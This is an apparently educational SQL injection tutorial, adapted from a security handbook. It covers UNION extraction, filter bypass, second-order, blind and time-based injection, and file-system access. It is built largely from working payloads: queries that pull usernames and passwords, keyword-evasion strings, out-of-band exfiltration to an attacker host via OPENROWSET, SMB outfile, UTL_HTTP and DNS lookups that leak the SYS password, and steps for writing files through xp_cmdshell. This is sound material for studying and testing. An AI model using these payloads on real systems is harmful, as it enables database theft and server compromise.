Data Extraction Example
Now that we have started our journey to SQL Injection,
let’s see an example of data extraction. To extract useful
data from the database, normally we need to know the
names of the tables and columns containing the data we
want to access. The main enterprise DBMSs contain a rich
amount of database metadata that we can query to
discover the names of every table and column within the database. The methodology for extracting useful data is the
same in each case; however, the details differ on different database platforms.[1]
Our example attack will be performed against an MS-SQL database, but we will use a methodology that will work on
all database technologies. Consider an address book application that allows users to maintain a list of contacts and
query and update their details. When a user searches his address book for a contact, his browser posts the following
parameter:
Name=Thomas
and the application returns the following results from the database (Image 1):
First, we need to determine the required number of columns. Testing for a single column results in an error message:
Name=Thomas’%20union%20select%20null--
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in
their target lists. We add a second NULL, and the same error occurs. So we continue adding NULLs until our query is
executed, generating an additional item in the results table:
Name=Thomas’%20union%20select%20null,null,null,null,null—
We now verify that the first column in the query contains string data:
Name=Thomas’%20union%20select%20’a’,null,null,null,null—
The next step is to find out the names of the database tables and columns that may contain interesting information.
We can do this by querying the metadata table information_schema.columns, which contains details of all tables and
column names within the database (Exercise from module 1 video). These can be retrieved with this query:
Name=Thomas’%20union%20select%20table_name,column_name,null,null,null%20from
%20information_schema.columns—
Name=Thomas’%20UNION%20select%20username,password,null,null,null%20from%20users—
Note that the information_schema is supported by MS-SQL, MySQL, and many other databases, including SQLite and
Postgresql. It is designed to hold database metadata, making it a primary target for attackers wanting to examine the
database. Oracle doesn’t support this schema. When targeting an Oracle database, the attack would be identical in
every other way. However, we would use the query SELECT table_name,column_name FROM all_tab_columns to
retrieve information about tables and columns in the database. (We would use the user_tab_columns table to focus
on the current database only.) When analyzing large databases for points of attack, it is usually best to look directly
for interesting column names rather than tables. For instance:
SELECT table_name,column_name FROM information_schema.columns where column_name
LIKE ‘%PASS%’
We should also know that when multiple columns are returned from a target table, these can be concatenated into a
single column. This makes retrieval more straightforward, because it requires identification of only a single varchar
field in the original query:
● Oracle: SELECT table_name||’:’||column_name FROM all_tab_columns
● MS-SQL: SELECT table_name+’:’+column_name from information_schema.columns
● MySQL: SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns
Bypassing Filters
Many times, an application may be vulnerable to SQL
injection but implementing various input filters that
prevent us from exploiting the flaw without restrictions.
For example, the application may remove or sanitize
certain characters or may block common SQL
keywords. Filters of this kind are often vulnerable to
bypasses, so we should try numerous tricks in situations like this, before giving up.[1]:
First of all, let’s talk about blocked characters and how to avoid this kind of restriction. Let’s see some example
attacks[1]:
● The single quotation mark is not required if you are injecting into a numeric data field or column name. If you
need to introduce a string into your attack payload, you can do this without needing quotes. You can use
various string functions to dynamically construct a string using the ASCII codes for individual characters. For
example, the following two queries for Oracle and MS-SQL, respectively, are the equivalent of select
ename, sal from emp where ename=’markus’:
SELECT ename, sal FROM emp where ename=CHR(109)||
CHR(97)||
CHR(114)||CHR(99)||CHR(117)||CHR(115)
SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)
+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)
● If the comment symbol is blocked, we can often craft our injected data such that it does not break the syntax of
the surrounding query, even without using this. For example, instead of injecting:
‘ or 1=1--
we can inject:
‘ or ‘a’=’a
● When attempting to inject batched queries into an MS-SQL database, we do not need to use the semicolon
separator. Provided that we fix the syntax of all queries in the batch, the query parser will interpret them
correctly, whether or not you include a semicolon.
To continue, some filter routines employ a simple blacklist and either block or remove any supplied data that appears
on this list. In this instance, we should try the standard attacks, looking for common defects in validation and
canonicalization mechanisms. For example, if the SELECT keyword is being blocked or removed, you can try the
following bypasses:
● SeLeCt
● %00SELECT
● SELSELECTECT
● %53%45%4c%45%43%54
● %2553%2545%254c%2545%2543%2554
Finally, we can insert inline comments into SQL statements in the same way as for C++, by embedding them between
the symbols /* and */. If the application blocks or strips spaces from our input, we can use comments to simulate
whitespace within our injected data. For example:
SELECT/*rand*/username,password/*rand*/FROM/*rand*/users
In MySQL, comments can even be inserted within keywords themselves, which provides another means of bypassing
some input validation filters while preserving the syntax of the actual query. An example query can be:
SEL/*rand*/ECT username,password FR/*rand*/OM users
Also, filter routines often contain logic flaws that we can exploit to smuggle blocked input past the filter. These
attacks often exploit the ordering of multiple validation steps, or the failure to apply sanitization logic recursively.
A good learning method for filter bypassing is by examining SQL code. There you can see the executing code and
see when your queries bypass the filtering. You can also use a coding text editor, like Notepad++, where the coloring
will make your work easier, when, for example, something stops executing and starts to be a comment, and it will be
grey.
Second-Order SQL
Injection
Continuing from the last chapter, a really interesting
type of filter bypass arises in connection with
second-order SQL injection. Many applications handle
data safely when it is first inserted into the database.
Once data is stored in the database, it may later be
processed in unsafe ways, either by the application
itself or by other back-end processes. Many of these
are not of the same quality as the primary
Internet-facing application but have high-privileged database accounts.
In some applications, input from the user is validated on arrival by escaping a single quote. In the book search
example, this approach appears to be effective. When the user enters the search term Bloomberg, the application
makes the following query:
SELECT author,title,year FROM books WHERE publisher = ‘Bloomberg’
Here, the single quotation mark supplied by the user has been converted into two single quotation marks. Therefore,
the item passed to the database has the same literal significance as the original expression the user entered. One
problem with the doubling-up approach arises in more complex situations where the same item of data passes
through several SQL queries, being written to the database and then read back more than once. This is one example
of the shortcomings of simple input validation as opposed to boundary validation.
Imagine an application that allows users to self-register and contains a SQL injection flaw in an INSERT statement.
Suppose that developers attempt to fix the vulnerability by doubling up any single quotation marks that appear
within user data. Attempting to register the username rand’ results in the following query, which causes no problems
for the database:
INSERT INTO users (username, password, ID, privs) VALUES (‘rand’’’, ‘secret’, 2248,
1)
Everything good and stable. However, suppose that the application also implements a password change function.
This function is reachable only by authenticated users, but for extra protection, the application requires users to
submit their old password. It then verifies that this is correct by retrieving the user’s current password from the
database and comparing the two strings. To do this, it first retrieves the user’s username from the database and then
constructs the following query:
SELECT password FROM users WHERE username = ‘rand’’
Because the username stored in the database is the literal string rand’, this is the value that the database returns
when this value is queried. The doubled up escape sequence is used only at the point where strings are passed into
the database. Therefore, when the application reuses this string and embeds it into a second query, a SQL injection
flaw arises, and the user’s original bad input is embedded directly into the query. When the user attempts to change
the password, the application returns the following message, which reveals the flaw:
Unclosed quotation mark before the character string ‘rand
To exploit this vulnerability, we can simply register a username containing this crafted input, and then attempt to
change his password. For example, if the following username is registered:
‘ or 1 in (select password from users where username=’admin’)--
the registration step itself will be handled securely. When the attacker tries to change his password, his injected query
will be executed, resulting in the following message, which discloses the admin user’s password:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar value ‘fme69’ to a column of data type int.
The attacker has successfully bypassed the input validation that was designed to block SQL injection attacks. Now he
has a way to execute arbitrary queries within the database and retrieve the results.
Keep in mind that second-order SQL injection is more difficult to detect than first-order vulnerabilities, because our
data is submitted in one request and executed in the application’s handling of a different request. The core technique
for discovering most input-based vulnerabilities, where an individual request is submitted repeatedly with various
crafted inputs and the application’s responses are monitored for anomalies, is not effective in this instance. Rather, we
need to submit our crafted input in one request, and then step through all other application functions that may make
use of that input, looking for anomalies. In some cases, there is only one instance of the relevant input (e.g. the user’s
display name), and testing each payload may necessitate stepping through the application’s entire functionality.[1]
Advancing the SQL
Injection
All the attacks described so far have had a ready
means of retrieving any useful data that was extracted
from the database. As awareness of SQL injection
threats has evolved, this kind of situation has become
gradually less common. It is increasingly the case that
the SQL injection flaws that we encounter will be in
situations where retrieving the results of our injected
queries is not straightforward. Let’s look at some ways
in which this problem can arise, and how we can deal with it.
Out-of-Band Channel Use Scenario
In many cases of SQL injection, the application does not return the results of any injected query to the user’s browser,
nor does it return any error messages generated by the database. In this situation, it may appear that your position is
futile. Even if a SQL injection flaw exists, it surely cannot be exploited to extract arbitrary data or perform any other
action. This appearance is false, however. We can try various techniques to retrieve data and verify that other
malicious actions have been successful.[1]
There are many circumstances in which we may be able to inject an arbitrary query but not retrieve its results, as in
the example of the vulnerable login form, where the username and password fields are vulnerable to SQL injection:
SELECT * FROM users WHERE username = ‘thomas’ and password = ‘secret’
In addition to modifying the query’s logic to bypass the login, we can inject an entirely separate subquery using string
concatenation to join its results to the item we control. For example:
rand’ || (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE username =
‘DBSNMP’) = ‘DBSNMP’)--
This causes the application to perform the following query:
SELECT * FROM users WHERE username = ‘rand’ || (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’)
The database executes our arbitrary subquery, appends its results to rand, and then looks up the details of the
resulting username. Of course, the login will fail, but our injected query will have been executed. All we will receive
back in the application’s response is the standard login failure message. What we then need is a way to retrieve the
results of our injected query.
A different situation arises when we can employ batch queries against MS-SQL databases. Batch queries are
extremely useful, because they allow us to execute an entirely separate statement over which you have full control,
using a different SQL verb and targeting a different table. However, because of how batch queries are carried out, the
results of an injected query cannot be retrieved directly.
Again, we need a means of retrieving the lost results of your injected query. One method for retrieving data that is
often effective in this situation is to use an out-of-band channel. Having achieved the ability to execute arbitrary SQL
statements within the database, it is often possible to leverage some of the database’s built-in functionality to create
a network connection back to our own computer, over which we can transmit arbitrary data that we have gathered
from the database.
The means of creating a suitable network connection are highly database dependent. Different methods may or may
not be available given the privilege level of the database user with which the application is accessing the database.
Let’s see some techniques for each type of database:
● insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL
Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein’,‘select * from rand’) values
(@@version)
o MS-SQL.
o OpenRowSet command can be used to open a connection to an external database and insert arbitrary
data into it.
o The query causes the target database to open a connection to the attacker’s database and insert the
version string of the target database into the table called rand.
● select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users;
o MySQL
o The SELECT ... INTO OUTFILE command can be used to write the selected rows to a specified file.
Column and line terminators can be specified to produce a specific output format.
o To receive the file, we can create an SMB share on our computer that allows anonymous write access. We
can configure shares on both Windows and UNIX-based platforms to behave in this way.
● /employees.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’||(SELECT
%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))—
o Oracle
o The UTL_HTTP package can be used to make arbitrary HTTP requests to other hosts. UTL_HTTP contains
rich functionality and supports proxy servers, cookies, redirects, and authentication. Here it is used to transmit the results of an injected query to a server controlled by the attacker. This URL causes UTL_HTTP
to make a GET request for a URL containing the first username in the table all_users.
/employees.asp? EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM
%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’)
o Oracle
o The UTL_INADDR package is designed to be used to resolve hostnames to IP addresses. It can be used
to generate arbitrary DNS queries to a server controlled by the attacker. In many situations, this is more
likely to succeed than the UTL_HTTP attack, because DNS traffic is often allowed out through corporate
firewalls even when HTTP traffic is restricted.
o With this example we can leverage this package to perform a lookup on a hostname of his choice,
effectively retrieving arbitrary data by prepending it as a subdomain to a domain name we control.
Links to examine for more syntax examples:
1. http://dev.mysql.com/doc/refman/5.7/en/select-into.html
2. https://docs.oracle.com/cd/B19306_01/appdev.102/b14258/toc.htm
3. https://msdn.microsoft.com/en-us/library/ms190312.aspx
Retrieving Data as Numbers
Many times, input containing single quotation marks is being handled properly, and no vulnerability can be found in
the web application. However, vulnerabilities may still exist within numeric data fields, where input is not
encapsulated within single quotes. Often in these situations, the only means of retrieving the results of our injected
queries is via a numeric response from the application.[1]
In situations like this, we have to process the results of our injected queries in such a way that meaningful data can be
retrieved in numeric form. Two key functions can be used here:
● ASCII, which returns the ASCII code for the input character
● SUBSTRING (or SUBSTR in Oracle), which returns a substring of its input
These functions can be used together to extract a single character from a string in numeric form. For example:
SUBSTRING(‘Admin’,1,1) returns A.
ASCII(‘A’) returns 65.
Therefore:
ASCII(SUBSTR(‘Admin’,1,1)) returns 65.
Using these two functions, we can systematically cut a string of useful data into its individual characters and return
each of these separately, in numeric form. In a scripted attack, this technique can be used to quickly retrieve and
reconstruct a large amount of string-based data one byte at a time.
Sometimes, what is returned by the application is not an actual number, but a resource for which that number is an
identifier. The application performs a SQL query based on user input, obtains a numeric identifier for a document,
and then returns the document’s contents to the user. In this situation, an attacker can first obtain a copy of every
document whose identifiers are within the relevant numeric range and construct a mapping of document contents to
identifiers. Then, when performing the attack described previously, the attacker can consult this map to determine
the identifier for each document received from the application and thereby retrieve the ASCII value of the character
he has successfully extracted.[1]
Blind SQL Injection
We may have encountered situations like that earlier but
a blind SQL Injection is used when a web application is
vulnerable to an SQL injection but the results of the
injection are not visible to the attacker. The page with the
vulnerability may not be one that displays data but will
display differently depending on the results of a logical
statement injected into the legitimate SQL statement called for that page. This type of attack has traditionally been
considered time-intensive because a new statement needed to be crafted for each bit recovered, and depending on
its structure, the attack may consist of many unsuccessful requests. Recent advancements have allowed each request
to recover multiple bits, with no unsuccessful requests, allowing for more consistent and efficient extraction.
One of the most famous types of blind SQL injection, forces the database to evaluate a logical statement on an
ordinary application screen. In the book search example, it uses a query string to determine which book review to
display, we see the following URL: http://examplesite.com/showBook.php?ID=5 that would cause the server to run
the query:
SELECT * FROM books WHERE ID = 'Value(ID)';
which will populate the page with data from the book with ID 5, stored in the table books. The query happens
completely on the server; the user does not know the names of the database, table, or fields, nor does the user know
the query string. The user only sees that the above URL returns a book. The technique relies on a feature of database
behavior when evaluating conditional statements: the database evaluates only those parts of the statement that need
to be evaluated given the status of other parts. An example of this behavior is a SELECT statement containing a
WHERE clause:
SELECT X FROM Y WHERE C
This causes the database to work through each row of table Y, evaluating condition C, and returning X in those cases
where condition C is true. If condition C is never true, the expression X is never evaluated.
In the previous example an attacker could execute the following URLs:
http://examplesite.com/showBook.php?ID=5 OR 1=1
http://examplesite.com/showBook.php?ID=5 AND 1=2
which will result in queries:
SELECT * FROM books WHERE ID = '5' OR '1'='1';
SELECT * FROM books WHERE ID = '5' AND '1'='2';
If the original book loads with the "1=1" URL and a blank or error page is returned from the "1=2" URL, and the
returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an
input test script, the site is likely vulnerable to a SQL injection attack as the query will likely have passed through
successfully in both cases. The attacker may proceed with this query string designed to reveal the version number of
MySQL running on the server:
http://examplesite.com/showBook.php?ID=5 AND substring(@@version, 1,
INSTR(@@version, '.') - 1)=4
which would show the book on a server running MySQL 4 and a blank or error page otherwise. The hacker can
continue to use code within query strings to glean more information from the server until another avenue of attack is
discovered or his or her goals are achieved.[2]
The same logic could be implied in web applications with login forms. For example, submitting the following two
pieces of input causes very different results:
admin’ AND 1=1--
admin’ AND 1=2--
In the first case, the application logs us in as the admin user. In the second case, the login attempt fails, because the
1=2 condition is always false. We can leverage this control of the application’s behavior as a means of inferring the
truth or falsehood of arbitrary conditions within the database itself. For example, using the ASCII and SUBSTRING
functions described previously, you can test whether a specific character of a captured string has a specific value.
Submitting the following piece of input, logs us in as the admin user, because the condition tested is true:
admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 65—
Submitting the following input, however, results in a failed login, because the condition tested is false:
admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 66--
By submitting a large number of such queries, cycling through the range of likely ASCII codes for each character until
a hit occurs, we can extract the entire string, one byte at a time.
In the example above, the application contained some prominent functionality whose logic could be directly
controlled by injecting into an existing SQL query. The application’s designed behavior (a successful versus a failed
login) could be hijacked to return a single item of information to the attacker. However, not all situations are this
straightforward. In some cases, we may be injecting into a query that has no noticeable effect on the application’s behavior, such as a logging mechanism. In other cases, we may be injecting a subquery or a batched query whose
results are not processed by the application in any way. In this situation, we may struggle to find a way to cause a
detectable difference in behavior that is contingent on a specified condition.[2]
The idea behind the following technique is to inject a query that induces a database error contingent on some
specified condition. When a database error occurs, it is often externally detectable, either through an HTTP 500
response code or through some kind of error message or anomalous behavior (even if the error message itself does
not disclose any useful information).
The technique relies on the same logic as before. This behavior can be exploited by finding an expression X that is
syntactically valid but that generates an error if it is ever evaluated. An example of such an expression in Oracle and
MS-SQL is a divide-by-zero computation, such as 1/0. If condition C is ever true, expression X is evaluated, causing a
database error. If condition C is always false, no error is generated. We can, therefore, use the presence or absence of
an error to test an arbitrary condition C.
An example of this is the following query, which tests whether the default Oracle user DBSNMP exists. If this user
exists, the expression 1/0 is evaluated, causing an error:
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =
‘DBSNMP’) = ‘DBSNMP’
The following query tests whether an invented user AAAAAA exists. Because the WHERE condition is never true, the
expression 1/0 is not evaluated, so no error occurs:
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =
‘AAAAAA’) = ‘AAAAAA’
What this technique achieves is a way of inducing a conditional response within the application, even in cases where
the query we are injecting has no impact on the application’s logic or data processing. It therefore enables us to use
the inference techniques described previously to extract data in a wide range of situations. Furthermore, because of
the technique’s simplicity, the same attack strings will work on a range of databases, and where the injection point is,
in various types of SQL statements.
This technique is also versatile because it can be used in all kinds of injection points where a subquery can be
injected. For example:
(select 1 where <> or 1/0=0)
Blind SQL Injection
Using Time Delays
Time-based techniques are often used to achieve tests
when there is no other way to retrieve information from
the database server. This kind of attack injects a SQL
segment that contains a specific DBMS function or heavy
query that generates a time delay. Depending on the
time it takes to get the server response, it is possible to
deduce some information. As you can guess, this type of
inference approach is particularly useful for blind and
deep blind SQL injection attacks.[3]
Time-based attacks can be used to achieve very basic tests, like determining if a vulnerability is present. This is usually
an excellent option when the attacker is facing a deep blind SQL injection. In this situation, only delay
functions/procedures are necessary. Below we can see how the query execution can be paused in each DBMS.
● MySQL:
o SLEEP(time): Only available since MySQL 5. It takes a number of seconds to wait in parameter.
o BENCHMARK(count, expr): Executes the specified expression multiple times. By using a large number as
first parameter, you will be able to generate a delay.
● SQL Server:
o WAIT FOR DELAY 'hh:mm:ss': Suspends the execution for the specified amount of time.
o WAIT FOR TIME 'hh:mm:ss': Suspends the execution of the query and continues it when system time is
equal to parameter.
● Oracle
As you can see, MS-SQL Server contains a built-in WAITFOR command, which can be used to cause a specified time
delay. For example, the following query causes a time delay of 5 seconds if the current database user is sa:
if (select user) = ‘sa’ waitfor delay ‘0:0:5’
Equipped with this command, we can retrieve arbitrary information in various ways. One method is to leverage the
same technique already described for the case where the application returns conditional responses. Now, instead of
triggering a different application response when a particular condition is detected, the injected query induces a time
delay. For example, the second of these queries causes a time delay, indicating that the first letter of the captured
string is A:
if ASCII(SUBSTRING(‘Admin’,1,1)) = 64 waitfor delay ‘0:0:5’
if ASCII(SUBSTRING(‘Admin’,1,1)) = 65 waitfor delay ‘0:0:5’
As before, we can cycle through all possible values for each character until a time delay occurs. Alternatively, the
attack could be made more efficient by reducing the number of requests needed. An additional technique is to break
each byte of data into individual bits and retrieve each bit in a single query. The POWER command and the bitwise
AND operator & can be used to specify conditions on a bit-by-bit basis. For example, the following query tests the
first bit of the first byte of the captured data and pauses if it is 1:
if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,0))) > 0 waitfor delay ‘0:0:5’
The following query performs the same test on the second bit:
if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,1))) > 0 waitfor delay ‘0:0:5’
As mentioned earlier, the means of inducing a time delay are highly database-dependent.
Now, for the MySQL, the SLEEP function can be used to create a time delay for a specified number of milliseconds:
select if(user() like ‘root@%’, sleep(5000), ‘false’)
In versions of MySQL prior to 5.0.12, the sleep function cannot be used. An alternative is the benchmark function,
which can be used to perform a specified action repeatedly. Instructing the database to perform a processor-intensive
action, such as a SHA-1 hash, many times will result in a measurable time delay. For example:
select if(user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’)
Oracle has no built-in method to perform a time delay, but we can use other tricks to cause a time delay to occur.
One trick is to use UTL_HTTP to connect to a nonexistent server, causing a timeout. This causes the database to
attempt to connect to the specified server and eventually time out. For example:
SELECT ‘a’||Utl_Http.request(‘http://examplesite.com’) from dual
...delay...
ORA-29273: HTTP request failed
ORA-06512: at “SYS.UTL_HTTP”, line 1556
ORA-12545: Connect failed because target host or object does not exist
We can leverage this behavior to cause a time delay contingent on some condition that you specify. For example, the
following query causes a timeout if the default Oracle account DBSNMP exists:
SELECT ‘a’||Utl_Http.request(‘http://examplesite.com’) FROM dual WHERE (SELECT
username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’
In both Oracle and MySQL databases, we can use the SUBSTR(ING) and ASCII functions to retrieve arbitrary
information one byte at a time.[3]
From SQL Injection to
File System Access
Let’s now examine how to exploit an SQL injection to get
read and write access on the back-end DBMS underlying
file system. Depending upon the configuration, it can be
very complex to do and may require attention to the
limits imposed by both the DBMS architecture and the
web application.
Read Access
When we test applications and systems it can be very
useful to have read access to files on the compromised machine: it can lead to disclosure of information that helps us
to perform further attacks as it can lead to sensible users' information leakage. Let’s examine how we can leverage
this, with MySQL and MS-SQL.
Firstly, MySQL has a built-in function that allows the reading of text or binary files on the underlying file system:
LOAD_FILE(). Also, the session user must have FILE and CREATE TABLE privileges for the support table (only needed
via batched queries). On Linux and UNIX systems, the file must be owned by the user that started the MySQL process
(usually mysql) or be world-readable. On Windows, MySQL runs by default, as Local System, so via the database
management system it is possible to read any existing file.[4]
Continuing, the file content can be retrieved via either UNION query, blind or error based SQL injection techniques.
However, there are some limitations to consider when calling the LOAD_FILE() function:
● The maximum length of file characters displayed is 5000 if the column datatype where the file content is
appended is varchar
● The content is truncated to a few characters in many cases when it is retrieved via error based SQL injection
technique
● The file can be in binary format (e.g. an ELF on Linux or a portable executable on Windows) and, depending on
the web application language, it cannot be displayed within the page content via UNION query or error based
SQL injection technique
To bypass these limitations, some steps have to be followed:
● Via batched queries:
o Create a support table with one field, data-type longtext
o Use LOAD_FILE() function to read the file content and redirect via INTO DUMPFILE the corresponding
hexadecimal encoded string value into a temporary file
o Use LOAD DATA INFILE to load the temporary file content into the support table.
● Via any other SQL injection technique:
o Retrieve the length of the support table's field value;
o Dump the support table's field value in chunks of 1024 characters
Now the chunks need to be assembled into a single hexadecimal encoded string which then needs to be decoded
and written on a local file.
To continue with MS SQL Server, it has a built-in statement that allows the insertion of either a text or a binary files’
content from the file system to a table's VARCHAR field: BULK INSERT. Also, the session user must have INSERT,
ADMINISTER BULK OPERATIONS and CREATE TABLE privileges.[4]
Microsoft SQL Server 2000 runs by default as Administrator, so the database management system can read any
existing file. This is the same on Microsoft SQL Server 2005 and 2008 when the database administrator has
configured it to run either as Local System (SYSTEM) or as Administrator, otherwise the file must be world-readable,
which happens very often on Windows. Finally, the file content can be retrieved via either UNION query, blind or error
based SQL injection techniques, however, the web application programming language must support batched
queries.[4]
The steps are:
● Via batched queries:
o Create a support table (table1) with one field, data-type text
o Create another support table (table2) with two fields, one data-type INT IDENTITY(1, 1) PRIMARY KEY
and the other data-type VARCHAR(4096)
o Use BULK INSERT statement to load the content of the file as a single entry into the support table table1
o Inject SQL code to convert the support table table1 entry into its hexadecimal encoded value then
INSERT 4096 characters of the encoded string into each entry of the support table table2
● Via any other SQL injection technique:
o Count the number of entries in the support table table2
o Dump the support table table2's varchar field entries sorted by PRIMARY KEY field
Now the entries need to be assembled into a single hexadecimal encoded string which then needs to be decoded
and written on a local file.
Until now we saw about Read access but strong proof of success of an assessment is the ability to write on the
underlying file system, as well as the execution of arbitrary commands.
Let’s again start with MySQL, which has a built-in SELECT clause that allows the outputting of data into a file: INTO
DUMPFILE. The session user must have the following privileges: FILE and INSERT, UPDATE and CREATE TABLE for
the support table (only needed via batched queries). The created file is always world-writable. On Linux and UNIX
systems, it is owned by the user that started the MySQL process (usually mysql). On Windows, MySQL runs by default
as Local System, and the file will be world-readable by everyone.[4]
The file can be written via either UNION query or batched query SQL injection technique. Nevertheless, there are
some limitations to be considered when using the UNION query technique:
● If the injection point is on a GET parameter, some web servers impose a limit on the length of the parameters'
request
● It is not possible to append data to an existing file via INTO DUMPFILE clause
However, these limitations can be bypassed if the web application supports batched queries with MySQL as the
back-end DBMS: ASP.NET is one of these programming languages.[4]
The steps that you follow for MySQL are:
● On the attacker’s machine:
o Encode the local file content to its corresponding hexadecimal string
o Split the hexadecimal encoded string into chunks 1024 characters long each
● Via batched queries:
o Create a support table with one field, data-type longblob;
o INSERT[ the first chunk into the support table's field;
o UPDATE the support table's field by appending to the entry the chunks from the second to the last;
o Export the hexadecimal encoded file content from the support table's entry to the destination file path
by using SELECT's INTO DUMPFILE clause. This is possible because on MySQL, a query like SELECT
0x41 returns the corresponding ASCII character A
It is possible to check if the file has been correctly written by retrieving the LENGTH value of the written file. Finally, it
should be noted that abusing UNION query SQL injection technique to upload files to the database server can also
be done when the web application language is ASP and PHP as they do not support batched queries by default.[4]
Continuing with Microsoft SQL Server, it has a native extended procedure to run commands on the underlying
operating system, xp_cmdshell(). This extended procedure can be abused to execute the echo command redirecting
its text arguments to a file. The session user must have CONTROL SERVER permission to call this extended procedure
and the created file is owned by the user that started the Microsoft SQL Server process and is world-readable.
The steps of the process are:
● On the attacker box:
o Split the file to upload in chunks of 65280 bytes (debug script file size limit)10;
o Convert each chunk to its plain text debug script format
● Via batched queries:
o For each plain text chunk's debug script:
▪ Execute the echo command via xp_cmdshell() to output the debug script to a temporary file all the
lines;
▪ Recreate the chunk from the uploaded debug script by calling the Windows debug executable via
xp_cmdshell();
▪ Remove the temporary debug script
o Assemble the chunks with Windows copy executable to recreate the original file;
o Move the assembled file to the destination path
It is possible to check if the file has been correctly written. The steps via batched queries are[4]:
● Create a support table with one field, data-type text;
● Use BULK INSERT statement to load the content of the file as a single entry into the support table;
● Retrieve the DATALENGTH value of the support table's first entry
1. The Web Application Hacker's Handbook: Finding and Exploiting
Security Flaws 2nd Edition, Willey, 2011
2. https://www.owasp.org/index.php/Blind_SQL_Injection
3. http://www.sqlinjection.net/time-based/
4. Advanced SQL injection to operating system full control, Bernardo
Damele Assumpção Guimarães, 2009